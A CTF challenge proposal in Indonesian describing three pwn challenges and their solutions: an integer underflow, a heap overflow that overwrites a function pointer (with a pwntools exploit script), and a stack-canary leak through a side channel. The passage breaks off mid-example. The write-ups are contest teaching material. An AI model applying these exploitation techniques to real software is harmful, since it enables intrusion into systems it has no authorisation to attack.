# CompFest Quals Proposed Problems

Fariskhi Vidyan <fvidyan@gmail.com>

## Artificial Intelligence

**Pwn - Easy**

*Binary* `ai` adalah program yang berisi permainan *nim game* sederhana di mana pemain harus mengambil batu secara bergiliran. Jumlah batu pada awal permainan adalah 50 buah dan untuk setiap giliran, pemain dapat mengambil 1 hingga 5 buah batu. Pemain yang tidak menyisakan batu untuk lawannya adalah pemenangnya. Pemain harus mengalahkan komputer yang selalu mengambil langkah optimal. Komputer selalu mendapatkan giliran pertama sehingga pemain tidak dapat mengalahkan komputer dengan cara biasa. Berikut adalah spesifikasi *binary* yang diberikan.

```
$ file ai
ai: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=2eda79376bc16fa8ae674ef01ceb781cbbefad60, not stripped
$ checksec ai
    Arch:   amd64-64-little
    RELRO:  Partial RELRO
    Stack:  Canary found
    NX:     NX enabled
    PIE:    PIE enabled
```

Pada saat permainan, program akan menolak *input* bilangan yang berada di luar *range* 1 hingga 5. Namun, terdapat celah pada pengecekan bilangan berupa ***integer underflow***. Berikut adalah hasil *disassembly* program menggunakan objdump.

```
a68:    48 8d 85 d8 fe ff ff     lea    rax,[rbp-0x128]
a6f:    48 89 c6                 mov    rsi,rax
a72:    48 8d 3d 0a 03 00 00     lea    rdi,[rip+0x30a]         # d83 <_IO_stdin_used+0x123>
a79:    b8 00 00 00 00           mov    eax,0x0
a7e:    e8 65 fd ff ff           call   7e8 <.plt.got+0x38>      # <__isoc99_scanf@GLIBC_2.7>
a83:    90                       nop
a84:    8b 85 d8 fe ff ff        mov    eax,DWORD PTR [rbp-0x128]
a8a:    98                       cwde
a8b:    89 c7                    mov    edi,eax
a8d:    e8 9e fe ff ff           call   930 <invalid>
a92:    66 85 c0                 test   ax,ax
a95:    74 16                    je     aad <game+0x157>
a97:    48 8d 3d e8 02 00 00     lea    rdi,[rip+0x2e8]         # d86 <_IO_stdin_used+0x126>
a9e:    e8 0d fd ff ff           call   7b0 <.plt.got>           # <puts@GLIBC_2.2.5>
aa3:    bf 00 00 00 00           mov    edi,0x0
aa8:    e8 43 fd ff ff           call   7f0 <.plt.got+0x40>      # <exit@GLIBC_2.2.5>
```

*catatan: *memory content* pada [rip+0x30a] (alamat 0xa72) adalah "%d"

Program akan membaca bilangan 32 bit dari pengguna dan memanggil fungsi <invalid> (`0x930`) dengan bilangan tersebut (dalam bentuk DWORD) sebagai parameternya. Sementara, pada fungsi <invalid>, bilangan yang diperiksa dibaca sebagai WORD.

```
0000000000000930 <invalid>:
 930:    55                              push   rbp
 931:    48 89 e5                        mov    rbp,rsp
 934:    89 f8                           mov    eax,edi
 936:    66 89 45 fc                     mov    WORD PTR [rbp-0x4],ax
 93a:    66 83 7d fc 00                  cmp    WORD PTR [rbp-0x4],0x0
 93f:    7e 07                           jle    948 <invalid+0x18>
 941:    66 83 7d fc 05                  cmp    WORD PTR [rbp-0x4],0x5
 946:    7e 07                           jle    94f <invalid+0x1f>
 948:    b8 01 00 00 00                  mov    eax,0x1
 94d:    eb 05                           jmp    954 <invalid+0x24>
 94f:    b8 00 00 00 00                  mov    eax,0x0
 954:    5d                              pop    rbp
 955:    c3                              ret
```

Dengan kata lain, hanya 16 bit terbawah dari bilangan yang dikomparasikan oleh program. Selama 16 bit terbawah ini berada di jangkauan 1 sampai 5, maka bilangan yang dimasukkan oleh pengguna akan dianggap *valid*. Sebagai contoh, bilangan 131073 (`0x20001`) akan dianggap `0x01` oleh program sehingga dianggap *valid*. Kemudian, program akan mengurangkan jumlah batu dengan 131073 sehingga pemain akan langsung menang.

# Role Playing Game
**Pwn - Medium**

*Binary* `rpg` adalah program yang berisi permainan RPG dalam bentuk CLI di mana peserta bermain sebagai *hero* yang terjebak di dalam penjara di dalam map 2D. Peserta harus mencari kunci untuk membuka penjara, menaikkan *stats* dengan berburu monster, dan mengalahkan *boss* (Golem) untuk mendapatkan harta karun (*flag*). Berikut adalah spesifikasi *binary* yang diberikan.

```
$ file rpg
rpg: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=0221db27bd3238cfb1a24734606d20b38a600b6e, not stripped
$ checksec rpg
    Arch:   amd64-64-little
    RELRO:  Partial RELRO
    Stack:  Canary found
    NX:     NX enabled
    PIE:    No PIE (0x400000)
```

*Binary* tidak di-*strip* sehingga kita dapat melihat nama-nama fungsi program melalui *symbol table*. Berikut adalah *pseudo* C dari beberapa fungsi penting yang dihasilkan oleh IDA.

Fungsi play()

```
void __noreturn play()
{
  unsigned int v0; // eax@1
  void *v1; // [sp+8h] [bp-8h]@1

  v1 = malloc(0x48uLL);
  v0 = time(0LL);
  srand(v0);
  init((__int64)v1);
  start((__int64)v1);
  buildmap(v1);
  while ( 1 )
    option((__int64)v1);
}
```

Fungsi ini melakukan inisialisasi *dynamic memory* (*heap)* menggunakan *malloc* dengan ukuran `0x48` *bytes*. Kemudian, pointer untuk *heap* ini dijadikan parameter untuk fungsi init() dan start().

```
__int64 __fastcall init(__int64 a1)
{
  __int64 result; // rax@1

  *(_DWORD *)a1 = 1;
  *(_DWORD *)(a1 + 4) = 5;
  *(_DWORD *)(a1 + 8) = 5;
  *(_DWORD *)(a1 + 12) = 30;
  *(_DWORD *)(a1 + 16) = 30;
  *(_DWORD *)(a1 + 52) = 4;
  *(_DWORD *)(a1 + 56) = 17;
  result = a1;
  *(_QWORD *)(a1 + 64) = level_up;
  return result;
}
```

Dari sini dapat diasumsikan bahwa *heap* yang dialokasikan oleh malloc adalah data berbentuk *struct*. Asumsi awalnya adalah *struct* ini berisi beberapa data bilangan 32 bit (dapat dilihat dari selisih alamat awal memori berupa 4 *bytes*). Lalu ada juga inisalisasi dengan level_up di mana level_up ini adalah alamat fungsi untuk fungsi level_up(). Berarti, bisa diasumsikan pula bahwa *struct* mengandung *function pointer*.

Jika permainan dimainkan, kita mendapatkan beberapa informasi seperti berikut.

```
Welcome to the Adventure of CompFest!

Your mission is to defeat the Golem and get the hidden treasure.
This is not an easy task because you need to find the key for your prison first and hunt
another monsters to level up your stats.

Hero Name: Test

####################
####............##.#
###....#..#.#....#.#
##.G..###......#...#
#####...#.....#.##.#
####......#...#.#.##
#..##.#...#..#..#..#
#....#.....#..#....#
##.....##..#.......#
###....#......#....#
#...#.......#......#
#.....##..#........#
#.....#.#.##....#..#
#.................##
#..##.##....#..###.#
#D#####........#...#
#.....#..#..###..#.#
#...H.##....#......#
```

```
#.....####....#.#..#
####################

[GAME]
(h) Hero Stats
(l) Legends
(w) Move Up
(d) Move Right
(s) Move Down
(a) Move Left
(0) Exit

Your Choice: h

----- Hero Stats -----
Name: Test
Level: 1
HP: 30/30
Attack: 5
Defense: 5
----------------------

Your Choice: l

----- Legends ------
H = Hero
D = Prison Door
G = Golem
. = Floor
# = Wall
----------------------
```

Dari kecocokan bilangan yang ada, kira-kira bilangan 1, 5, 5, 30, dan 30 kemungkinan adalah *level*, *attack*, *defense*, HP, dan *max* HP milik *hero*. Sementara 4 dan 17 adalah koordinat awal Hero di mana 4 adalah kolom dan 17 adalah baris (dimulai dari 0). Sehingga, kira-kira seperti ini asumsi awal *struct* yang digunakan.

```
struct hero {
  int level;
  int attack;
  int defense;
  int hp;
  int maxhp;
  // Sesuatu dengan besar 32 bytes, kemungkinan nama Hero dalam array of char
  int col;
  int row;
  void (*level_up)(parameter);
};
```

Secara kasar, fungsi init() melakukan inisalisasi data *struct* ini seperti berikut dalam kode C. Paremeternya adalah *pointer* dari data *struct* terkait.

```
void init(struct hero *h) {
  h->level = 1;
  h->attack = 5;
  h->defense = 5;
  h->hp = 30;
  h->maxhp = 30;
  h->col = 4;
  h->row = 17;
  h->level_up = level_up;
}
```

Fungsi level_up() berisi instruksi program untuk menaikkan *stats* dari Hero. Kemungkinan fungsi ini akan dipanggil suatu saat ketika Hero mengalahkan monster.

Fungsi start().

```
size_t __fastcall start(__int64 a1)
{
  size_t result; // rax@1

  puts("Welcome to the Adventure of CompFest!\n");
  puts("Your mission is to defeat the Golem and get the hidden treasure.");
   puts("This is not an easy task because you need to find the key for your prison first
and hunt another monsters to level up your stats.\n");
  printf("Hero Name: ");
  __isoc99_scanf("%s", a1 + 20);
  result = strlen((const char *)(a1 + 20));
  if ( result > 0x1E )
  {
        puts("Maximum number of characters for hero name is 30");
        safe_exit(a1);
  }
  return result;
}
```

Sesuai dugaan, a1 + 20 atau data *struct* dari *hero* pada posisi setelah maxhp diisi dengan nama *hero* yang dimasukkan dari *input* pengguna menggunakan scanf(). Panjang karakter maksimum dari *hero* adalah 30 (`0x1E`) di mana program akan mengeceknya menggunakan strlen.

Di sini terdapat celah, yaitu *input* dari *scanf* dapat mengandung *null byte* (`0x00`) yang akan dibaca oleh program sementara fungsi strlen() menghitung panjang *string* dengan *null byte* sebagai *terminator*. Hal ini mengakibatkan panjang *string* dapat terdeteksi kurang dari 30 tetapi pada kenyataannya *string* yang dimasukkan ke memori melebihi 30. Dari sini, eksploitasi yang bisa dilakukan adalah ***heap overflow*** di mana *input* untuk nama Hero dapat meng-*overwrite* data yang ada setelahnya, yaitu row, col, dan *function pointer* untuk

level_up. Akibatnya, posisi awal *hero* dapat diubah (untuk keluar dari penjara tanpa mencari kunci) dan alamat *function pointer* untuk level_up() dapat diubah ke mana saja asalkan tidak mengandung *bad characters* yang tidak dapat dibaca scanf (misal, *newline*).

Dengan *reverse engineering* lebih lanjut, akan terlihat bahwa ketika *hero* bergerak di luar penjara, secara *random*, *hero* dapat bertemu dengan monster dan setelah *hero* berhasil mengalahkan monster tersebut, fungsi level_up() akan dipanggil (lihat fungsi action()). Kemudian dapat dilihat juga bahwa Golem memiliki *maxhp*, *attack*, dan *defense* yang sangat besar yang tidak *feasible* untuk dikalahkan. Apabila Golem kalah, program akan memberikan harta karun pada *hero* yaitu dengan membaca *flag.txt* dan mengeluarkan *output* yang berisi *flag*. Instruksi yang dijalankan ketika Golem kalah berada pada alamat `0x4012D7`.

Strategi eksploitasi yang dapat dilakukan:

1. Gunakan *heap overflow* untuk meng-*overwrite* col, row, dan alamat *function pointer* level_up. Gunakan 32 karakter sampah yang mengandung *null byte* pada posisi sebelum karakter ke-31. Col dan raw diganti menjadi koordinat di luar penjara (misal, 2 dan 6) dan alamat *function pointer* diganti menjadi 0x4012D7.
2. Jalan di dalam map secara *random* agar bertemu monster. Kalahkan monster tersebut.
3. Pilih *stat* yang akan dinaikkan agar *function pointer* untuk level_up dipanggil. Karena sudah diganti menjadi `0x4012D7`, maka program akan menjalankan instruksi mesin di alamat tersebut.

Berikut adalah *exploit script* yang dapat digunakan menggunakan pwntools. Program berjalan sebagai TCP *service* di *localhost* pada port 12345. Setelah masuk mode *interactive*, cari monster dan kalahkan monster tersebut.

```
from pwn import *

s = "a" * 15 + "\x00" + "a" * 16 +
"\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\xd7\x12\x40\x00"

r = remote('localhost', 12345)
r.recvuntil(": ")
r.sendline(s)

r.interactive()
```

# Algorithmic Compatibility Value
**Pwn - Hard**

*Binary* `acv` adalah program yang berisi perhitungan untuk menghitung Algorithmic Compatibility Value (ACV) dari dua *string* yang diberikan. Sebagai catatan, Algorithmic Compatibility Value ini bukanlah istilah resmi dan hanya nama yang dibuat untuk soal ini. Berikut adalah spesifikasi *binary* yang diberikan.

```
$ file acv
acv: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked,
for GNU/Linux 2.6.32, BuildID[sha1]=5449b176ab2a01a7671039c6f3f2be6c3eaa4ba1, stripped
$ checksec acv
       Arch:  i386-32-little
       RELRO: Partial RELRO
       Stack: No canary found
       NX:    NX enabled
       PIE:   No PIE (0x8048000)
```

Perhatikan bahwa 'No canary found' adalah ***false negative*** karena pada kenyataannya program ini **mengandung *canary* (*stack protector*)** dan dikompilasi menggunakan konfigurasi *standard* gcc.

Pada implementasinya, program ini menghitung *edit distance* atau Levenshtein Distance (https://en.wikipedia.org/wiki/Levenshtein_distance). Perhitungannya menggunakan *dynamic programming* berdasarkan algoritma Wagner-Fischer. Kemudian, nilai ACV dihitung dari (strlen(nama1) + strlen(nama2) - edit_distance) / (strlen(nama1) + strlen(nama2)).

Tanpa *reverse engineering* dengan melakukan *disassembler*, sebenarnya peserta dapat mencoba menebak-nebak apa yang dilakukan oleh program. *Reverse engineering* sendiri dipersulit dengan membuat *binary* menjadi *stripped* dan *statically linked*. Namun, *binary* yang *statically linked* lebih mudah dieksploitasi karena mempermudah *return oriented programming*.

Berikut adalah Psuedo C (hasil dari IDA) dari fungsi utama yang meminta *input* dua buah *string* dari pengguna dan menghitung Algorithmic Compatibility Value dari keduanya.

```
int sub_8048DC8()
{
  char v0; // ST04_1@2
  char v1; // ST04_1@2
  char v2; // ST04_1@2
  int v3; // esi@2
  int v4; // eax@2
  int v5; // ST28_4@2
  int v6; // esi@2
  int v7; // ST2C_4@2
  double v8; // ST04_8@2
```

```
  int result; // eax@4
  signed int i; // [sp+14h] [bp-124h]@1
  char v11; // [sp+2Ch] [bp-10Ch]@2
  char v12; // [sp+ACh] [bp-8Ch]@2
  int v13; // [sp+12Ch] [bp-Ch]@1

  v13 = *MK_FP(__GS__, 20);
  for ( i = 0; i <= 274; ++i )
  {
       sub_8048280(&v11, 0, 128);
       sub_8048280(&v12, 0, 128);
       sub_804F770("Name 1: ", v0);
       sub_8048A98(&v11);
       sub_804F770("Name 2: ", v1);
       sub_8048A98(&v12);
       sub_804F770("Algorithmic Compatibility Value: ", v2);
       v3 = sub_805C9B0(&v12);
       v4 = sub_805C9B0(&v11);
       v5 = sub_8048AFF((int)&v11, v4, (int)&v12, v3);
       v6 = sub_805C9B0(&v11);
       v7 = v6 + sub_805C9B0(&v12);
       v8 = (long double)(v7 - v5) / (long double)v7 * 100.0;
       sub_804F770("%.3lf%%\n", SLOBYTE(v8));
       sub_804FCC0("\n");
  }
  result = *MK_FP(__GS__, 20) ^ v13;
  if ( *MK_FP(__GS__, 20) != v13 )
       sub_8070970();
  return result;
}
```

Terlihat bahwa ada 275 iterasi sehingga pengguna hanya dapat mencari ACV dari dua buah *string* sebanyak 275 kali untuk satu kali menjalankan program.

Dari bentuknya, kemungkinan sub_8048280(&v11, 0, 128) adalah memset(&v11, 0, 128) dan hal ini juga bisa dibuktikan dengan melihat instruksi yang ada di sub_8048280(). Fungsi ini digunakan untuk me-*reset* isi memori dimulai dari alamat v11 dengan 0 (*null byte*) sebanyak 128 buah. Begitu juga untuk alamat v12.

Pembacaan *string* menggunakan fungsi sub_8048a98() yang dipanggil oleh fungsi utama di dalam iterasi untuk alamat memori v11 dan v12. Berikut adalah Pseudo C untuk sub_8048a98().

```
int __cdecl sub_8048A98(int a1)
{
  int result; // eax@1
  int v2; // eax@2
  char v3; // [sp+Bh] [bp-Dh]@1
  int v4; // [sp+Ch] [bp-Ch]@1

  result = sub_8051930();
  v3 = result;
  v4 = 0;
  while ( v3 != 10 )
  {
       v2 = v4++;
       *(_BYTE *)(a1 + v2) = v3;
       result = sub_8051930();
```

```
      v3 = result;
  }
  return result;
}
```

Fungsi ini adalah variasi fungsi gets() yang membaca karakter terus menerus hingga karakter yang dibaca memiliki nilai bilangan 10 atau dengan kata lain, '\n' atau *newline*. Tidak ada pengisian *null terminator* di sini tetapi memset yang sebelumnya sudah dipanggil membuat *string* yang dibaca tetap diakhiri dengan *null* (ekspektasinya).

Tentu saja ekspektasi *programmer* dapat memiliki celah. Fungsi pembacaan *string* ini jelas memiliki celah ***buffer overflow***. Namun, terdapat *canary* yang akan mempersulit eksploitasi. Peserta yang hanya memeriksa keamanan *binary* menggunakan *checksec* akan kebingungan karena hasil dari *checksec* tidak mendeteksi adanya *canary* pada program.

Berikut adalah hasil *disassembly* program untuk alamat `0x8048dc8` dengan bagian yang ditebalkan dan dimerahkan adalah bagian penting yang perlu diperhatikan dalam menyusun strategi eksploitasi.

```
8048dc8:    55                      push   ebp
8048dc9:    89 e5                   mov    ebp,esp
8048dcb:    56                      push   esi
8048dcc:    53                      push   ebx
8048dcd:    81 ec 30 01 00 00       sub    esp,0x130
8048dd3:    e8 d8 fa ff ff          call   0x80488b0
8048dd8:    81 c3 28 32 0a 00       add    ebx,0xa3228
8048dde:    65 a1 14 00 00 00       mov    eax,gs:0x14
8048de4:    89 45 f4                mov    DWORD PTR [ebp-0xc],eax
8048de7:    31 c0                   xor    eax,eax
8048de9:    c7 85 dc fe ff ff 00    mov    DWORD PTR [ebp-0x124],0x0
8048df0:    00 00 00
8048df3:    e9 65 01 00 00          jmp    0x8048f5d
8048df8:    83 ec 04                sub    esp,0x4
8048dfb:    68 80 00 00 00          push   0x80
8048e00:    6a 00                   push   0x0
8048e02:    8d 85 f4 fe ff ff       lea    eax,[ebp-0x10c]
8048e08:    50                      push   eax
8048e09:    e8 72 f4 ff ff          call   0x8048280
8048e0e:    83 c4 10                add    esp,0x10
8048e11:    83 ec 04                sub    esp,0x4
8048e14:    68 80 00 00 00          push   0x80
8048e19:    6a 00                   push   0x0
8048e1b:    8d 85 74 ff ff ff       lea    eax,[ebp-0x8c]
8048e21:    50                      push   eax
8048e22:    e8 59 f4 ff ff          call   0x8048280
8048e27:    83 c4 10                add    esp,0x10
8048e2a:    83 ec 0c                sub    esp,0xc
8048e2d:    8d 83 65 0d fd ff       lea    eax,[ebx-0x2f29b]
8048e33:    50                      push   eax
8048e34:    e8 37 69 00 00          call   0x804f770
```

```
8048e39:    83 c4 10                add   esp,0x10
8048e3c:    83 ec 0c                sub   esp,0xc
8048e3f:    8d 85 f4 fe ff ff       lea   eax,[ebp-0x10c]
8048e45:    50                      push   eax
8048e46:    e8 4d fc ff ff          call   0x8048a98
8048e4b:    83 c4 10                add   esp,0x10
8048e4e:    83 ec 0c                sub   esp,0xc
8048e51:    8d 83 6e 0d fd ff       lea   eax,[ebx-0x2f292]
8048e57:    50                      push   eax
8048e58:    e8 13 69 00 00          call   0x804f770
8048e5d:    83 c4 10                add   esp,0x10
8048e60:    83 ec 0c                sub   esp,0xc
8048e63:    8d 85 74 ff ff ff       lea   eax,[ebp-0x8c]
8048e69:    50                      push   eax
8048e6a:    e8 29 fc ff ff          call   0x8048a98
8048e6f:    83 c4 10                add   esp,0x10
8048e72:    83 ec 0c                sub   esp,0xc
8048e75:    8d 83 78 0d fd ff       lea   eax,[ebx-0x2f288]
8048e7b:    50                      push   eax
8048e7c:    e8 ef 68 00 00          call   0x804f770
8048e81:    83 c4 10                add   esp,0x10
8048e84:    83 ec 0c                sub   esp,0xc
8048e87:    8d 85 74 ff ff ff       lea   eax,[ebp-0x8c]
8048e8d:    50                      push   eax
8048e8e:    e8 1d 3b 01 00          call   0x805c9b0
8048e93:    83 c4 10                add   esp,0x10
8048e96:    89 c6                   mov   esi,eax
8048e98:    83 ec 0c                sub   esp,0xc
8048e9b:    8d 85 f4 fe ff ff       lea   eax,[ebp-0x10c]
8048ea1:    50                      push   eax
8048ea2:    e8 09 3b 01 00          call   0x805c9b0
8048ea7:    83 c4 10                add   esp,0x10
8048eaa:    89 c2                   mov   edx,eax
8048eac:    56                      push   esi
8048ead:    8d 85 74 ff ff ff       lea   eax,[ebp-0x8c]
8048eb3:    50                      push   eax
8048eb4:    52                      push   edx
8048eb5:    8d 85 f4 fe ff ff       lea   eax,[ebp-0x10c]
8048ebb:    50                      push   eax
8048ebc:    e8 3e fc ff ff          call   0x8048aff
8048ec1:    83 c4 10                add   esp,0x10
8048ec4:    89 85 e0 fe ff ff       mov   DWORD PTR [ebp-0x120],eax
8048eca:    83 ec 0c                sub   esp,0xc
8048ecd:    8d 85 f4 fe ff ff       lea   eax,[ebp-0x10c]
8048ed3:    50                      push   eax
8048ed4:    e8 d7 3a 01 00          call   0x805c9b0
8048ed9:    83 c4 10                add   esp,0x10
8048edc:    89 c6                   mov   esi,eax
8048ede:    83 ec 0c                sub   esp,0xc
8048ee1:    8d 85 74 ff ff ff       lea   eax,[ebp-0x8c]
8048ee7:    50                      push   eax
8048ee8:    e8 c3 3a 01 00          call   0x805c9b0
8048eed:    83 c4 10                add   esp,0x10
```

```
8048ef0:    01 f0                   add    eax,esi
8048ef2:    89 85 e4 fe ff ff       mov    DWORD PTR [ebp-0x11c],eax
8048ef8:    8b 85 e4 fe ff ff       mov    eax,DWORD PTR [ebp-0x11c]
8048efe:    2b 85 e0 fe ff ff       sub    eax,DWORD PTR [ebp-0x120]
8048f04:    89 85 d4 fe ff ff       mov    DWORD PTR [ebp-0x12c],eax
8048f0a:    db 85 d4 fe ff ff       fild   DWORD PTR [ebp-0x12c]
8048f10:    db 85 e4 fe ff ff       fild   DWORD PTR [ebp-0x11c]
8048f16:    de f9                   fdivrp st(1),st
8048f18:    dd 83 a8 0d fd ff       fld    QWORD PTR [ebx-0x2f258]
8048f1e:    de c9                   fmulp  st(1),st
8048f20:    dd 9d e8 fe ff ff       fstp   QWORD PTR [ebp-0x118]
8048f26:    83 ec 04                sub    esp,0x4
8048f29:    ff b5 ec fe ff ff       push   DWORD PTR [ebp-0x114]
8048f2f:    ff b5 e8 fe ff ff       push   DWORD PTR [ebp-0x118]
8048f35:    8d 83 9a 0d fd ff       lea    eax,[ebx-0x2f266]
8048f3b:    50                      push   eax
8048f3c:    e8 2f 68 00 00          call   0x804f770
8048f41:    83 c4 10                add    esp,0x10
8048f44:    83 ec 0c                sub    esp,0xc
8048f47:    8d 83 28 0d fd ff       lea    eax,[ebx-0x2f2d8]
8048f4d:    50                      push   eax
8048f4e:    e8 6d 6d 00 00          call   0x804fcc0
8048f53:    83 c4 10                add    esp,0x10
8048f56:    83 85 dc fe ff ff 01    add    DWORD PTR [ebp-0x124],0x1
8048f5d:    81 bd dc fe ff ff 12    cmp    DWORD PTR [ebp-0x124],0x112
8048f64:    01 00 00
8048f67:    0f 8e 8b fe ff ff       jle    0x8048df8
8048f6d:    90                      nop
8048f6e:    8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]
8048f71:    65 33 05 14 00 00 00    xor    eax,DWORD PTR gs:0x14
8048f78:    74 05                   je     0x8048f7f
8048f7a:    e8 f1 79 02 00          call   0x8070970
8048f7f:    8d 65 f8                lea    esp,[ebp-0x8]
8048f82:    5b                      pop    ebx
8048f83:    5e                      pop    esi
8048f84:    5d                      pop    ebp
8048f85:    c3                      ret
```

Terdapat mekanisme penyimpanan dan pengecekan *canary* pada bagian awal dan bagian akhir fungsi. Dari informasi di atas, dapat diambil kesimpulan bahwa:

1. *Canary* diletakkan pada pada `[ebp - 0xc]`.
2. *String* pertama (v11) diletakkan pada `[ebp - 0x10c]`.
3. *String* kedua (v12) diletakkan pada `[ebp - 0x8c]`.
4. Pembacaan *string* menggunakan fungsi yang memiliki celah *buffer overflow* dipanggil dengan `[ebp - 0x8c]` sebagai parameter sehingga *overflow* dapat dimulai dari sini. Kita fokus pada `[ebp - 0x8c]`, bukan pada `[ebp - 0x10c]` karena `[ebp - 0x8c]` yang paling dekat ke *canary*.
5. Sepert biasa, nilai *canary* akan diperiksa di bagian akhir fungsi. Apabila terdapat perubahan dari nilai *canary* asli, maka program mendeteksi adanya *stack smashing*. Jika tidak berubah, program akan lanjut untuk membersihkan *stack frame* dan

melakukan ret. Sebagai pengingat, ret sama saja dengan pop eip (tidak ada pop eip dalam ISA *standard* x86 atau arsitektur populer lainnya) atau melakukan pop nilai pada data teratas *stack* dan memasukkanya sebagai eip atau *instruction pointer*.

Dengan melakukan *debug* menggunakan GDB dan memasang *breakpoint* pada `0x8048e6f`, dapat dilihat kira-kira seperti ini isi memori/*stack* pada posisi `[ebp - 0x8c]`.

```
$ gdb ./acv
GNU gdb (Ubuntu 7.12.50.20170314-0ubuntu1) 7.12.50.20170314-git
Copyright (C) 2017 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./acv...(no debugging symbols found)...done.
gdb-peda$ b *0x8048e6f
Breakpoint 1 at 0x8048e6f
gdb-peda$ r
Starting program: /vagrant/acv
  /$$$$$$   /$$$$$$  /$$     /$$
 /$$__  $$ /$$__  $$| $$   | $$
| $$  \ $$| $$  \__/| $$   | $$
| $$$$$$$$| $$        |  $$ / $$/
| $$__  $$| $$        \  $$ $$/
| $$  | $$| $$ $$  \  $$$/
| $$  | $$|  $$$$$$/   \  $/
|__/  |__/ \______/   \_/


Find out Algorithmic Compatibility Value of two names!


Name 1: aaaa
Name 2: bbbb

[----------------------------------registers-----------------------------------]
EAX: 0xa ('\n')
EBX: 0x80ec000 --> 0x0
ECX: 0xa ('\n')
EDX: 0x80ed4e0 --> 0x0
ESI: 0x80ec00c --> 0x8068480 (mov    edx,DWORD PTR [esp+0x4])
EDI: 0x49656e69 ('ineI')
EBP: 0xffffd608 --> 0xffffd628 --> 0x0
ESP: 0xffffd4c0 --> 0xffffd57c ("bbbb")
EIP: 0x8048e6f (add   esp,0x10)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048e63:    lea  eax,[ebp-0x8c]
   0x8048e69:    push   eax
   0x8048e6a:    call   0x8048a98
=> 0x8048e6f:    add  esp,0x10
   0x8048e72:    sub  esp,0xc
```

```
   0x8048e75:    lea  eax,[ebx-0x2f288]
   0x8048e7b:    push   eax
   0x8048e7c:    call   0x804f770
[----------------------------------stack-------------------------------------]
0000| 0xffffd4c0 --> 0xffffd57c ("bbbb")
0004| 0xffffd4c4 --> 0x0
0008| 0xffffd4c8 --> 0x80
0012| 0xffffd4cc --> 0x8048dd8 (add  ebx,0xa3228)
0016| 0xffffd4d0 --> 0x1
0020| 0xffffd4d4 --> 0xffffd61b --> 0x457e004e ('N')
0024| 0xffffd4d8 --> 0x1
0028| 0xffffd4dc --> 0x805a8b5 (test   eax,eax)
[----------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048e6f in ?? ()
gdb-peda$ x/60x $ebp - 0x8c
0xffffd57c:    0x62626262    0x00000000    0x00000000    0x00000000
0xffffd58c:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd59c:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd5ac:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd5bc:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd5cc:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd5dc:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd5ec:    0x00000000    0x00000000    0x00000000    0x00000000
0xffffd5fc:    0xdb457e00    0x080ec000    0x080ec00c    0xffffd628
0xffffd60c:    0x08048fd7    0x080ec00c    0x49656e69    0x4e000000
0xffffd61c:    0xdb457e00    0xffffd640    0x080481b0    0x00000000
0xffffd62c:    0x0804921e    0x080ec00c    0x49656e69    0x00000000
0xffffd63c:    0x0804921e    0x00000001    0xffffd6f4    0xffffd6fc
0xffffd64c:    0xffffd664    0x00000000    0x00000001    0xffffd6f4
0xffffd65c:    0x08048f86    0x00000000    0x080481b0    0x080ec00c
gdb-peda$ x/x $ebp - 0xc
0xffffd5fc:    0xdb457e00
```

Pada eksekusi di atas, *canary* yang disimpan program adalah `0xdb457e00`. *Canary* ini berbeda-beda setiap eksekusi program secara *random* dan akan bernilai lebih besar apabila *binary*-nya adalah 64 bit. Terlihat bahwa ada `0x62626262` (bbbb) pada `[ebp - 0x8c]` dan ada sebanyak 124 slot yang berisi `0x00` (*null byte*). Setelah 124 slot tersebut, terdapat *canary* untuk mendeteksi adanya *overflow*. *Canary* selalu diakhiri (atau diawali, dari sudut pandang *little endian*) dengan `0x00` sebagai *null terminator*. Alamat asli yang akan dituju pada ret berada pada `[ebp + 0x4]` atau `0x08048fd7`.

Strategi eksploitasi yang bisa dilakukan adalah dengan memanfaatkan pembacaan *string* yang tidak menyertakan *null terminator* dan juga perhitungan ACV yang dilakukan. Karena tidak ada *null termintor* yang disertakan, maka apabila *string* kedua diisi dengan 129 karakter, maka yang terlihat oleh program adalah 132 karakter. Tiga karakter tambahan ini adalah *canary* yang terikuterserta. Kebetulan setelah *bytes* dari *canary*, ada `0x00` yang menjadi *null terminator*.

Karena *string* tidak di-*output*-kan oleh program, maka hal yang dapat dilakukan adalah memerhatikan hasil ACV dengan *input* tertentu. Sebelumnya, peserta harus mengetahui konsep *edit distance* terlebih dahulu. Alternatifnya, peserta juga dapat melakukan coba-coba.

Perhatikan hasil perhitungan ACV untuk beberapa nama berikut.

```
$ ./acv
  /$$$$$$   /$$$$$$  /$$     /$$
 /$$__  $$ /$$__  $$| $$   | $$
| $$  \ $$| $$  \__/| $$   | $$
| $$$$$$$$| $$       |  $$ / $$/
| $$__  $$| $$        \  $$ $$/
| $$  | $$| $$ $$  \  $$$/
| $$  | $$|  $$$$$$/   \  $/
|__/  |__/ \______/   \_/


Find out Algorithmic Compatibility Value of two names!


Name 1: x
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 14.286%


Name 1: b
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 7.143%


Name 1: c
Name 2: aaaaaaaaaaxyz
Algorithmic Compatibility Value: 7.143%


Name 1: y
